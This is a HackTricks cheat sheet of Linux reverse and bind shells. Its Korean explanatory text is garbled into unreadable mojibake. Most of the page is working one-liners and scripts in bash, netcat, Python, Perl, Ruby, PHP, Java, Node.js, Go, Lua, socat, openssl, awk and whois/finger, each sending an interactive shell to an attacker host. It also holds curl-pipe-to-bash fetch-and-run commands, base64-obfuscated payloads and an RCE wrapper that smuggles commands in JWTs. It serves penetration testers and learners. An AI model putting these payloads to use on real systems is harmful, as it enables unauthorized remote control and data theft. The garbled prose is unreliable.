Shells - Linux
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
์ด ์์ ๋ํ ์ง๋ฌธ์ด ์์ผ๋ฉด https://explainshell.com/ ์์ ํ์ธํ ์ ์์ต๋๋ค.
Full TTY
๋ฆฌ๋ฒ์ค ์์ ์ป์ผ๋ฉด ์ ์ฒด TTY๋ฅผ ์ป์ผ๋ ค๋ฉด ์ด ํ์ด์ง๋ฅผ ์ฝ์ผ์ธ์.
Bash | sh
curl https://reverse-shell.sh/1.1.1.1:3000 | bash
bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1
bash -i >& /dev/udp/127.0.0.1/4242 0>&1 #UDP
0<&196;exec 196<>/dev/tcp/<ATTACKER-IP>/<PORT>; sh <&196 >&196 2>&196
exec 5<>/dev/tcp/<ATTACKER-IP>/<PORT>; while read line 0<&5; do $line 2>&5 >&5; done
#Short and bypass (credits to Dikline)
(sh)0>/dev/tcp/10.10.10.10/9091
#after getting the previous shell to get the output to execute
exec >&0
๋ค๋ฅธ ์ ธ(sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash)๋ ํ์ธํ๋ ๊ฒ์ ์์ง ๋ง์ธ์.
๊ธฐํธ ์์ ์ ธ
#If you need a more stable connection do:
bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'
#Stealthier method
#B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0
echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null
Shell ์ค๋ช
bash -i: ์ด ๋ช ๋ น์ ์ผ๋ถ๋ ๋ํํ(-i) Bash ์ ธ์ ์์ํฉ๋๋ค.>&: ์ด ๋ช ๋ น์ ์ผ๋ถ๋ ํ์ค ์ถ๋ ฅ(stdout)๊ณผ ํ์ค ์ค๋ฅ(stderr)๋ฅผ ๊ฐ์ ๋ชฉ์ ์ง๋ก ๋ฆฌ๋๋ ์ ํ๋ ์ฝ์ ํ๊ธฐ๋ฒ์ ๋๋ค./dev/tcp/<ATTACKER-IP>/<PORT>: ์ด๋ ์ง์ ๋ IP ์ฃผ์์ ํฌํธ์ ๋ํ TCP ์ฐ๊ฒฐ์ ๋ํ๋ด๋ ํน์ ํ์ผ์ ๋๋ค.
- ์ถ๋ ฅ ๋ฐ ์ค๋ฅ ์คํธ๋ฆผ์ ์ด ํ์ผ๋ก ๋ฆฌ๋๋ ์ ํจ์ผ๋ก์จ, ๋ช ๋ น์ ๋ํํ ์ ธ ์ธ์ ์ ์ถ๋ ฅ์ ๊ณต๊ฒฉ์์ ๋จธ์ ์ผ๋ก ํจ๊ณผ์ ์ผ๋ก ์ ์กํฉ๋๋ค.
0>&1: ์ด ๋ช ๋ น์ ์ผ๋ถ๋ ํ์ค ์ ๋ ฅ(stdin)์ ํ์ค ์ถ๋ ฅ(stdout)๊ณผ ๊ฐ์ ๋ชฉ์ ์ง๋ก ๋ฆฌ๋๋ ์ ํฉ๋๋ค.
ํ์ผ ์์ฑ ๋ฐ ์คํ
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1<ATTACKER-IP>/<PORT> 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh;
wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh
Forward Shell
Linux ๊ธฐ๋ฐ ์น ์ ํ๋ฆฌ์ผ์ด์ ์์ ์๊ฒฉ ์ฝ๋ ์คํ (RCE) ์ทจ์ฝ์ ์ ๋ค๋ฃฐ ๋, ๋ฆฌ๋ฒ์ค ์ ธ์ ์ป๋ ๊ฒ์ด iptables ๊ท์น์ด๋ ๋ณต์กํ ํจํท ํํฐ๋ง ๋ฉ์ปค๋์ฆ๊ณผ ๊ฐ์ ๋คํธ์ํฌ ๋ฐฉ์ด์ ์ํด ๋ฐฉํด๋ฐ์ ์ ์์ต๋๋ค. ์ด๋ฌํ ์ ํ๋ ํ๊ฒฝ์์๋ ์์๋ ์์คํ ๊ณผ ๋ ํจ๊ณผ์ ์ผ๋ก ์ํธ์์ฉํ๊ธฐ ์ํด PTY (๊ฐ์ ํฐ๋ฏธ๋) ์ ธ์ ์ค์ ํ๋ ๋์์ ์ ๊ทผ ๋ฐฉ์์ด ์์ต๋๋ค.
์ด ๋ชฉ์ ์ ์ํด ์ถ์ฒ๋๋ ๋๊ตฌ๋ toboggan์ผ๋ก, ์ด๋ ๋์ ํ๊ฒฝ๊ณผ์ ์ํธ์์ฉ์ ๋จ์ํํฉ๋๋ค.
toboggan์ ํจ๊ณผ์ ์ผ๋ก ์ฌ์ฉํ๋ ค๋ฉด, ๋์ ์์คํ
์ RCE ๋งฅ๋ฝ์ ๋ง์ถ Python ๋ชจ๋์ ์์ฑํด์ผ ํฉ๋๋ค. ์๋ฅผ ๋ค์ด, nix.py๋ผ๋ ๋ชจ๋์ ๋ค์๊ณผ ๊ฐ์ด ๊ตฌ์ฑ๋ ์ ์์ต๋๋ค:
import jwt
import httpx
def execute(command: str, timeout: float = None) -> str:
# Generate JWT Token embedding the command, using space-to-${IFS} substitution for command execution
token = jwt.encode(
{"cmd": command.replace(" ", "${IFS}")}, "!rLsQaHs#*&L7%F24zEUnWZ8AeMu7^", algorithm="HS256"
)
response = httpx.get(
url="https://vulnerable.io:3200",
headers={"Authorization": f"Bearer {token}"},
timeout=timeout,
# ||BURP||
verify=False,
)
# Check if the request was successful
response.raise_for_status()
return response.text
๊ทธ๋ฐ ๋ค์, ๋ค์์ ์คํํ ์ ์์ต๋๋ค:
toboggan -m nix.py -i
๋ํํ ์
ธ์ ์ง์ ํ์ฉํ๋ ค๋ฉด -b๋ฅผ ์ถ๊ฐํ์ฌ Burpsuite ํตํฉ์ ์ฌ์ฉํ ์ ์์ผ๋ฉฐ, ๋ ๊ธฐ๋ณธ์ ์ธ rce ๋ํผ๋ฅผ ์ํด -i๋ฅผ ์ ๊ฑฐํ ์ ์์ต๋๋ค.
๋ ๋ค๋ฅธ ๊ฐ๋ฅ์ฑ์ IppSec ํฌ์๋ ์
ธ ๊ตฌํ์ ์ฌ์ฉํ๋ ๊ฒ์
๋๋ค https://github.com/IppSec/forward-shell.
๋ค์ ์ฌํญ์ ์์ ํ๊ธฐ๋ง ํ๋ฉด ๋ฉ๋๋ค:
- ์ทจ์ฝํ ํธ์คํธ์ URL
- ํ์ด๋ก๋์ ์ ๋์ฌ ๋ฐ ์ ๋ฏธ์ฌ(์๋ ๊ฒฝ์ฐ)
- ํ์ด๋ก๋๊ฐ ์ ์ก๋๋ ๋ฐฉ์(ํค๋? ๋ฐ์ดํฐ? ์ถ๊ฐ ์ ๋ณด?)
๊ทธ๋ฐ ๋ค์ ๋ช
๋ น์ ์ ์กํ๊ฑฐ๋ upgrade ๋ช
๋ น์ ์ฌ์ฉํ์ฌ ์ ์ฒด PTY๋ฅผ ์ป์ ์ ์์ต๋๋ค(ํ์ดํ๋ ์ฝ 1.3์ด ์ง์ฐ์ผ๋ก ์ฝ๊ณ ์๋๋ค).
Netcat
nc -e /bin/sh <ATTACKER-IP> <PORT>
nc <ATTACKER-IP> <PORT> | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER-IP> <PORT> >/tmp/f
nc <ATTACKER-IP> <PORT1>| /bin/bash | nc <ATTACKER-IP> <PORT2>
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | nc <ATTACKER-IP> <PORT> 1>/tmp/bkpipe
gsocket
https://www.gsocket.io/deploy/์์ ํ์ธํ์ธ์.
bash -c "$(curl -fsSL gsocket.io/x)"
ํ ๋ท
telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f
telnet <ATTACKER-IP> <PORT> | /bin/bash | telnet <ATTACKER-IP> <PORT>
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | telnet <ATTACKER-IP> <PORT> 1>/tmp/bkpipe
Whois
๊ณต๊ฒฉ์
while true; do nc -l <port>; done
๋ช ๋ น์ ๋ณด๋ด๋ ค๋ฉด ์ ๋ ฅํ๊ณ , Enter๋ฅผ ๋๋ฅด๊ณ , CTRL+D๋ฅผ ๋๋ฌ STDIN์ ์ค์งํฉ๋๋ค.
ํฌ์์
export X=Connected; while true; do X=`eval $(whois -h <IP> -p <Port> "Output: $X")`; sleep 1; done
ํ์ด์ฌ
#Linux
export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
#IPv6
python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'
ํ
perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
๋ฃจ๋น
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
PHP
// Using 'exec' is the most common method, but assumes that the file descriptor will be 3.
// Using this method may lead to instances where the connection reaches out to the listener and then closes.
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
// Using 'proc_open' makes no assumptions about what the file descriptor will be.
// See https://security.stackexchange.com/a/198944 for more information
<?php $sock=fsockopen("10.0.0.1",1234);$proc=proc_open("/bin/sh -i",array(0=>$sock, 1=>$sock, 2=>$sock), $pipes); ?>
<?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.14.8/4444 0>&1'"); ?>
์๋ฐ
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
Ncat
victim> ncat <ip> <port,eg.443> --ssl -c "bash -i 2>&1"
attacker> ncat -l <port,eg.443> --ssl
Golang
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
๋ฃจ์
#Linux
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
#Windows & Linux
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
NodeJS
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(8080, "10.17.26.64", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
or
require('child_process').exec('nc -e /bin/sh [IPADDR] [PORT]')
require('child_process').exec("bash -c 'bash -i >& /dev/tcp/10.10.14.2/6767 0>&1'")
or
-var x = global.process.mainModule.require
-x('child_process').exec('nc [IPADDR] [PORT] -e /bin/bash')
or
// If you get to the constructor of a function you can define and execute another function inside a string
"".sub.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()
"".__proto__.constructor.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()
or
// Abuse this syntax to get a reverse shell
var fs = this.process.binding('fs');
var fs = process.binding('fs');
or
https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py
Zsh (๋ด์ฅ TCP)
# Requires no external binaries; leverages zsh/net/tcp module
zsh -c 'zmodload zsh/net/tcp; ztcp <ATTACKER-IP> <PORT>; zsh -i <&$REPLY >&$REPLY 2>&$REPLY'
Rustcat (rcat)
https://github.com/robiot/rustcat โ ํ๋์ ์ธ netcat๊ณผ ์ ์ฌํ ๋ฆฌ์ค๋๋ก Rust๋ก ์์ฑ๋จ (2024๋ ๋ถํฐ Kali์ ํจํค์ง๋จ).
# Attacker โ interactive TLS listener with history & tab-completion
rcat listen -ib 55600
# Victim โ download static binary and connect back with /bin/bash
curl -L https://github.com/robiot/rustcat/releases/latest/download/rustcat-x86_64 -o /tmp/rcat \
&& chmod +x /tmp/rcat \
&& /tmp/rcat connect -s /bin/bash <ATTACKER-IP> 55600
ํน์ง:
- ์ํธํ๋ ์ ์ก์ ์ํ ์ ํ์
--sslํ๋๊ทธ (TLS 1.3) - ํผํด์์๊ฒ ์์์ ๋ฐ์ด๋๋ฆฌ(์:
/bin/sh,python3)๋ฅผ ์์ฑํ๊ธฐ ์ํ-s - ์์ ํ ๋ํํ PTY๋ก ์๋ ์
๊ทธ๋ ์ด๋๋ฅผ ์ํ
--up
revsh (์ํธํ ๋ฐ ํผ๋ฒ ์ค๋น ์๋ฃ)
revsh๋ ์ํธํ๋ Diffie-Hellman ํฐ๋์ ํตํด ์ ์ฒด TTY๋ฅผ ์ ๊ณตํ๋ ์์ C ํด๋ผ์ด์ธํธ/์๋ฒ์ด๋ฉฐ, ์ ํ์ ์ผ๋ก TUN/TAP ์ธํฐํ์ด์ค๋ฅผ ์ฐ๊ฒฐํ์ฌ ๋ฆฌ๋ฒ์ค VPN๊ณผ ๊ฐ์ ํผ๋ฒ์ ์ง์ํ ์ ์์ต๋๋ค.
# Build (or grab a pre-compiled binary from the releases page)
git clone https://github.com/emptymonkey/revsh && cd revsh && make
# Attacker โ controller/listener on 443 with a pinned certificate
revsh -c 0.0.0.0:443 -key key.pem -cert cert.pem
# Victim โ reverse shell over TLS to the attacker
./revsh <ATTACKER-IP>:443
์ ์ฉํ ํ๋๊ทธ:
-b: ๋ฆฌ๋ฒ์ค ๋์ ๋ฐ์ธ๋ ์ ธ-p socks5://127.0.0.1:9050: TOR/HTTP/SOCKS๋ฅผ ํตํ ํ๋ก์-t: TUN ์ธํฐํ์ด์ค ์์ฑ (๋ฆฌ๋ฒ์ค VPN)
์ ์ฒด ์ธ์
์ด ์ํธํ๋๊ณ ๋ค์คํ๋๊ธฐ ๋๋ฌธ์, ์ผ๋ฐ ํ
์คํธ /dev/tcp ์
ธ์ ์ข
๋ฃ์ํฌ ์ ์๋ ๊ฐ๋จํ ์์๋ฐ์ด๋ ํํฐ๋ง์ ์ข
์ข
์ฐํํฉ๋๋ค.
OpenSSL
๊ณต๊ฒฉ์ (Kali)
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response
ํฌ์์
#Linux
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
#Windows
openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
Socat
https://github.com/andrew-d/static-binaries
๋ฐ์ธ๋ ์ ธ
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
attacker> socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337
๋ฆฌ๋ฒ์ค ์ ธ
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
Awk
awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
Finger
๊ณต๊ฒฉ์
while true; do nc -l 79; done
๋ช ๋ น์ ๋ณด๋ด๋ ค๋ฉด ์ ๋ ฅํ๊ณ Enter๋ฅผ ๋๋ฅธ ๋ค์ CTRL+D๋ฅผ ๋๋ฆ ๋๋ค (STDIN์ ์ค์งํ๋ ค๋ฉด).
ํฌ์์
export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null')`; sleep 1; done
export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done
Gawk
#!/usr/bin/gawk -f
BEGIN {
Port = 8080
Prompt = "bkd> "
Service = "/inet/tcp/" Port "/0/0"
while (1) {
do {
printf Prompt |& Service
Service |& getline cmd
if (cmd) {
while ((cmd |& getline) > 0)
print $0 |& Service
close(cmd)
}
} while (cmd != "exit")
close(Service)
}
}
Xterm
์ด๊ฒ์ ํฌํธ 6001์์ ๊ทํ์ ์์คํ ์ ์ฐ๊ฒฐ์ ์๋ํ ๊ฒ์ ๋๋ค:
xterm -display 10.0.0.1:1
์ญ๋ฐฉํฅ ์ ธ์ ์ก๊ธฐ ์ํด ์ฌ์ฉํ ์ ์๋ ๊ฒ์ (ํฌํธ 6001์์ ์์ ๋๊ธฐํ ๊ฒ์ ๋๋ค):
# Authorize host
xhost +targetip
# Listen
Xnest :1
Groovy
by frohoff ์ฃผ์: Java reverse shell์ Groovy์์๋ ์๋ํฉ๋๋ค.
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
References
- https://highon.coffee/blog/reverse-shell-cheat-sheet/
- http://pentestmonkey.net/cheat-sheet/shells/reverse-shell
- https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
- https://github.com/robiot/rustcat
- https://github.com/emptymonkey/revsh
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


